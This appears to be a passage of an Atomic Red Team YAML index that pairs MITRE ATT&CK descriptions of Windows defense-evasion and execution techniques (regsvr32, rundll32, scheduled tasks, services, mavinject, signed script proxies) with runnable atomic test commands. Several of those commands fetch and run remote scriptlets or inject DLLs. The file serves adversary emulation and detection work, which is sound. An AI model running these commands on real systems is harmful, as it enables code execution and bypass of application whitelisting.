$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /keyfile:key.snk #{source_file}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe #{file_name}
del #{file_name}
del key.snk
T1117:
technique:
x_mitre_data_sources:
- Loaded DLLs
- Process monitoring
- Windows Registry
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
name: Regsvr32
description: |-
Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)
Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.
Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)
Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)
x_mitre_remote_support: false
id: attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a
modified: '2019-07-31T19:31:54.893Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.2'
type: attack-pattern
x_mitre_detection: 'Use process monitoring to monitor the execution and arguments
of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history
of known good arguments and loaded files to determine anomalous and potentially
adversarial activity. Command arguments used before and after the regsvr32.exe
invocation may also be useful in determining the origin and purpose of the
script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Casey Smith
created: '2017-05-31T21:31:26.966Z'
kill_chain_phases:
- phase_name: defense-evasion
kill_chain_name: mitre-attack
- phase_name: execution
kill_chain_name: mitre-attack
external_references:
- source_name: mitre-attack
external_id: T1117
url: https://attack.mitre.org/techniques/T1117
- description: Microsoft. (2015, August 14). How to use the Regsvr32 tool and
troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.
source_name: Microsoft Regsvr32
url: https://support.microsoft.com/en-us/kb/249873
- description: LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.
source_name: LOLBAS Regsvr32
url: https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
- description: 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo”
Continues Trend of Attackers Using Native OS Tools to “Live off the Land”.
Retrieved April 9, 2018.'
source_name: Carbon Black Squiblydoo Apr 2016
url: https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/
- description: Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing
Techniques Used in Attacks Targeting the Mongolian Government. Retrieved
February 24, 2017.
source_name: FireEye Regsvr32 Targeting Mongolian Gov
url: https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html
x_mitre_defense_bypassed:
- Process whitelisting
- Anti-virus
- Digital Certificate Validation
identifier: T1117
atomic_tests:
- name: Regsvr32 local COM scriptlet execution
description: 'Regsvr32.exe is a command-line program used to register and unregister
OLE controls
'
supported_platforms:
- windows
input_arguments:
filename:
description: Name of the local file, include path.
type: Path
default: C:\AtomicRedTeam\atomics\T1117\RegSvr32.sct
executor:
name: command_prompt
elevation_required: false
command: 'regsvr32.exe /s /u /i:#{filename} scrobj.dll
'
- name: Regsvr32 remote COM scriptlet execution
description: 'Regsvr32.exe is a command-line program used to register and unregister
OLE controls
'
supported_platforms:
- windows
input_arguments:
url:
description: URL to hosted sct file
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct
executor:
name: command_prompt
elevation_required: false
command: 'regsvr32.exe /s /u /i:#{url} scrobj.dll
'
- name: Regsvr32 local DLL execution
description: 'Regsvr32.exe is a command-line program used to register and unregister
OLE controls
'
supported_platforms:
- windows
input_arguments:
dll_name:
description: Name of DLL to Execute, DLL Should export DllRegisterServer
type: Path
default: C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll
executor:
name: command_prompt
elevation_required: false
command: '"IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe
/s #{dll_name}) ELSE ( regsvr32.exe /s #{dll_name} )"
'
T1085:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
- Binary file metadata
x_mitre_permissions_required:
- User
name: Rundll32
description: |-
The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.
Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
x_mitre_remote_support: false
id: attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5
modified: '2019-06-24T19:18:55.792Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: Use process monitoring to monitor the execution and arguments
of rundll32.exe. Compare recent invocations of rundll32.exe with prior history
of known good arguments and loaded DLLs to determine anomalous and potentially
adversarial activity. Command arguments used with the rundll32.exe invocation
may also be useful in determining the origin and purpose of the DLL being
loaded.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Ricardo Dias
- Casey Smith
created: '2017-05-31T21:31:06.045Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1085
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1085
- description: Merces, F. (2014). CPL Malware Malicious Control Panel Items.
Retrieved November 1, 2017.
source_name: Trend Micro CPL
url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
- description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion.
Retrieved March 5, 2018.
source_name: This is Security Command Line Confusion
url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/
x_mitre_defense_bypassed:
- Anti-virus
- Application whitelisting
- Digital Certificate Validation
identifier: T1085
atomic_tests:
- name: Rundll32 execute JavaScript Remote Payload With GetObject
description: 'Test execution of a remote script using rundll32.exe
'
supported_platforms:
- windows
input_arguments:
file_url:
description: location of the payload
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1085/T1085.sct
executor:
name: command_prompt
elevation_required: false
command: 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();"
'
T1053:
technique:
x_mitre_permissions_required:
- Administrator
- SYSTEM
- User
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
- Windows event logs
name: Scheduled Task
description: |-
Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the remote system. (Citation: TechNet Task Scheduler Security)
An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.
x_mitre_remote_support: true
id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: |-
Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)
* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.
Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Prashant Verma, Paladion
- Leo Loobeek, @leoloobeek
- Travis Smith, Tripwire
- Alain Homewood, Insomnia Security
created: '2017-05-31T21:30:46.977Z'
x_mitre_effective_permissions:
- SYSTEM
- Administrator
- User
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: execution
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1053
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1053
- source_name: capec
external_id: CAPEC-557
url: https://capec.mitre.org/data/definitions/557.html
- source_name: TechNet Task Scheduler Security
description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved
June 8, 2016.
url: https://technet.microsoft.com/en-us/library/cc785125.aspx
- source_name: Twitter Leoloobeek Scheduled Task
description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved
December 12, 2017.
url: https://twitter.com/leoloobeek/status/939248813465853953
- source_name: TechNet Forum Scheduled Task Operational Setting
description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention
settings. Retrieved December 12, 2017.
url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
- source_name: TechNet Scheduled Task Events
description: Microsoft. (n.d.). General Task Registration. Retrieved December
12, 2017.
url: https://technet.microsoft.com/library/dd315590.aspx
- description: Microsoft. (2017, May 28). Audit Other Object Access Events.
Retrieved June 27, 2019.
source_name: Microsoft Scheduled Task Events Win10
url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events
- description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
Retrieved June 6, 2016.
source_name: TechNet Autoruns
url: https://technet.microsoft.com/en-us/sysinternals/bb963902
modified: '2019-07-25T19:04:10.980Z'
identifier: T1053
atomic_tests:
- name: At.exe Scheduled task
description: |
Executes cmd.exe
Note: deprecated in Windows 8+
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: 'at 13:20 /interactive cmd
'
- name: Scheduled task Local
description: ''
supported_platforms:
- windows
input_arguments:
task_command:
description: What you want to execute
type: String
default: C:\windows\system32\cmd.exe
time:
description: What time 24 Hour
type: String
default: 72600
executor:
name: command_prompt
elevation_required: false
command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
'
- name: Scheduled task Remote
description: 'Create a task on a remote system
'
supported_platforms:
- windows
input_arguments:
task_command:
description: What you want to execute
type: String
default: C:\windows\system32\cmd.exe
time:
description: What time 24 Hour
type: String
default: 72600
target:
description: Target
type: String
default: localhost
user_name:
description: Username DOMAIN\User
type: String
default: DOMAIN\user
password:
description: Password
type: String
default: At0micStrong
executor:
name: command_prompt
command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN
"Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
'
T1064:
technique:
x_mitre_permissions_required:
- User
x_mitre_data_sources:
- Process monitoring
- File monitoring
- Process command-line parameters
name: Scripting
description: |-
Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.
Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.
Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)
id: attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
modified: '2019-06-24T13:41:53.706Z'
created: '2017-05-31T21:30:51.733Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1064
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1064
- description: Metasploit. (n.d.). Retrieved December 4, 2014.
source_name: Metasploit_Ref
url: http://www.metasploit.com
- source_name: Veil_Ref
description: Veil Framework. (n.d.). Retrieved December 4, 2014.
url: https://www.veil-framework.com/framework/
- source_name: Powersploit
description: PowerSploit. (n.d.). Retrieved December 4, 2014.
url: https://github.com/mattifestation/PowerSploit
- description: 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting
of National Security Think Tanks. Retrieved November 12, 2014.'
source_name: Alperovitch 2014
url: https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
- source_name: Uperesia Malicious Office Documents
description: Felix. (2016, September). Analyzing Malicious Office Documents.
Retrieved April 11, 2018.
url: https://www.uperesia.com/analyzing-malicious-office-documents
x_mitre_defense_bypassed:
- Process whitelisting
- Data Execution Prevention
- Exploit Prevention
identifier: T1064
atomic_tests:
- name: Create and Execute Bash Shell Script
description: 'Creates and executes a simple bash script.
'
supported_platforms:
- macos
- linux
executor:
name: sh
elevation_required: false
command: |-
sh -c "echo 'echo Hello from the Atomic Red Team' > /tmp/art.sh"
sh -c "echo 'ping -c 4 8.8.8.8' >> /tmp/art.sh"
chmod +x /tmp/art.sh
sh /tmp/art.sh
T1035:
technique:
x_mitre_data_sources:
- Windows Registry
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- Administrator
- SYSTEM
name: Service Execution
description: Adversaries may execute a binary, command, or script via a method
that interacts with Windows services, such as the Service Control Manager.
This can be done by either creating a new service or modifying an existing
service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050)
and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during
service persistence or privilege escalation.
x_mitre_remote_support: true
id: attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Changes to service Registry entries and command-line invocation
of tools capable of modifying services that do not correlate with known software,
patch cycles, etc., may be suspicious. If a service is used only to execute
a binary or script and not to persist, then it will likely be changed back
to its original form shortly after the service is restarted so the service
is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:36.550Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1035
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1035
modified: '2019-07-18T19:12:52.205Z'
identifier: T1035
atomic_tests:
- name: Execute a Command as a Service
description: "Creates a service specifying an aribrary command and executes
it. When executing commands such as PowerShell, the service will report that
it did not start correctly even when code executes properly. \n"
supported_platforms:
- windows
input_arguments:
service_name:
description: Name of service to create
type: string
default: ARTService
executable_command:
description: Command to execute as a service
type: string
default: "%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType
File C:\\art-marker.txt"
executor:
name: command_prompt
elevation_required: true
command: |
sc.exe create #{service_name} binPath= #{executable_command}
sc.exe start #{service_name}
sc.exe delete #{service_name}
T1218:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: Signed Binary Proxy Execution
description: |-
Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques.
### Msiexec.exe
Msiexec.exe is the command-line Windows utility for the Windows Installer. Adversaries may use msiexec.exe to launch malicious MSI files for code execution. An adversary may use it to launch local or network accessible MSI files.(Citation: LOLBAS Msiexec)(Citation: Rancor Unit42 June 2018)(Citation: TrendMicro Msiexec Feb 2018) Msiexec.exe may also be used to execute DLLs.(Citation: LOLBAS Msiexec)
* msiexec.exe /q /i "C:\path\to\file.msi"
* msiexec.exe /q /i http[:]//site[.]com/file.msi
* msiexec.exe /y "C:\path\to\file.dll"
### Mavinject.exe
Mavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32)
* "C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" <PID> /INJECTRUNNING <PATH DLL>
* C:\Windows\system32\mavinject.exe <PID> /INJECTRUNNING <PATH DLL>
### SyncAppvPublishingServer.exe
SyncAppvPublishingServer.exe can be used to run PowerShell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer)
### Odbcconf.exe
Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The utility can be misused to execute functionality equivalent to [Regsvr32](https://attack.mitre.org/techniques/T1117) with the REGSVR option to execute a DLL.(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
* odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}
Several other binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)
x_mitre_remote_support: false
id: attack-pattern--457c7820-d331-465a-915e-42f85500ccc4
modified: '2019-06-24T11:36:15.702Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: Monitor processes and command-line parameters for signed
binaries that may be used to proxy execution of malicious files. Legitimate
programs used in suspicious ways, like msiexec.exe downloading an MSI file
from the internet, may be indicative of an intrusion. Correlate activity with
other suspicious behavior to reduce false positives that may be due to normal
benign use by users and administrators.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Nishan Maharjan, @loki248
- Hans Christoffer Gaardløs
- Praetorian
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1218
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1218
- description: LOLBAS. (n.d.). Msiexec.exe. Retrieved April 18, 2019.
source_name: LOLBAS Msiexec
url: https://lolbas-project.github.io/lolbas/Binaries/Msiexec/
- source_name: Rancor Unit42 June 2018
description: 'Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in
South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July
2, 2018.'
url: https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/
- description: Co, M. and Sison, G. (2018, February 8). Attack Using Windows
Installer msiexec.exe leads to LokiBot. Retrieved April 18, 2019.
source_name: TrendMicro Msiexec Feb 2018
url: https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/
- description: Giuseppe. (2017, December 14). gN3mes1s Status Update. Retrieved
April 10, 2018.
source_name: Twitter gN3mes1s Status Update MavInject32
url: https://twitter.com/gn3mes1s/status/941315826107510784
- source_name: Twitter monoxgas Status Update SyncAppvPublishingServer
description: Landers, N. (2017, August 8). monoxgas Status Update. Retrieved
April 10, 2018.
url: https://twitter.com/monoxgas/status/895045566090010624
- source_name: Microsoft odbcconf.exe
description: Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March
7, 2019.
url: https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017
- description: LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.
source_name: LOLBAS Odbcconf
url: https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
- description: Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August
7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses.
Retrieved March 7, 2019.
source_name: TrendMicro Squiblydoo Aug 2017
url: https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/
- description: 'Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November
20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit
Against Russian Banks. Retrieved March 7, 2019.'
source_name: TrendMicro Cobalt Group Nov 2017
url: https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/
- description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved
April 10, 2018.
source_name: GitHub Ultimate AppLocker Bypass List
url: https://github.com/api0cradle/UltimateAppLockerByPassList
x_mitre_defense_bypassed:
- Application whitelisting
- Digital Certificate Validation
identifier: T1218
atomic_tests:
- name: mavinject - Inject DLL into running process
description: 'Injects arbitrary DLL into running process specified by process
ID. Requires Windows 10.
'
supported_platforms:
- windows
input_arguments:
dll_payload:
description: DLL to inject
type: Path
default: C:\AtomicRedTeam\atomics\T1218\src\x64\T1218.dll
process_id:
description: PID of process receiving injection
type: string
default: 1000
executor:
name: command_prompt
elevation_required: true
command: 'mavinject.exe #{process_id} /INJECTRUNNING #{dll_payload}
'
- name: SyncAppvPublishingServer - Execute arbitrary PowerShell code
description: 'Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe.
Requires Windows 10.
'
supported_platforms:
- windows
input_arguments:
powershell_code:
description: PowerShell code to execute
type: string
default: Start-Process calc.exe
executor:
name: command_prompt
command: 'SyncAppvPublishingServer.exe "n; #{powershell_code}"
'
- name: Register-CimProvider - Execute evil dll
description: 'Execute arbitrary dll. Requires at least Windows 8/2012. Also
note this dll can be served up via SMB
'
supported_platforms:
- windows
input_arguments:
dll_payload:
description: DLL to execute
type: Path
default: C:\AtomicRedTeam\atomics\T1218\src\Win32\T1218-2.dll
executor:
name: command_prompt
command: "C:\\Windows\\SysWow64\\Register-CimProvider.exe -Path #{dll_payload}
\n"
T1216:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: Signed Script Proxy Execution
description: |-
Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts.
PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png
There are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List)
x_mitre_remote_support: false
id: attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe
modified: '2019-06-24T11:33:52.628Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Monitor script processes, such as cscript, and command-line
parameters for scripts like PubPrn.vbs that may be used to proxy execution
of malicious files.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Praetorian
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1216
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1216
- source_name: Enigma0x3 PubPrn Bypass
description: 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved
April 9, 2018.'
url: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
- description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved
April 10, 2018.
source_name: GitHub Ultimate AppLocker Bypass List
url: https://github.com/api0cradle/UltimateAppLockerByPassList
x_mitre_defense_bypassed:
- Application whitelisting
- Digital Certificate Validation
identifier: T1216
atomic_tests:
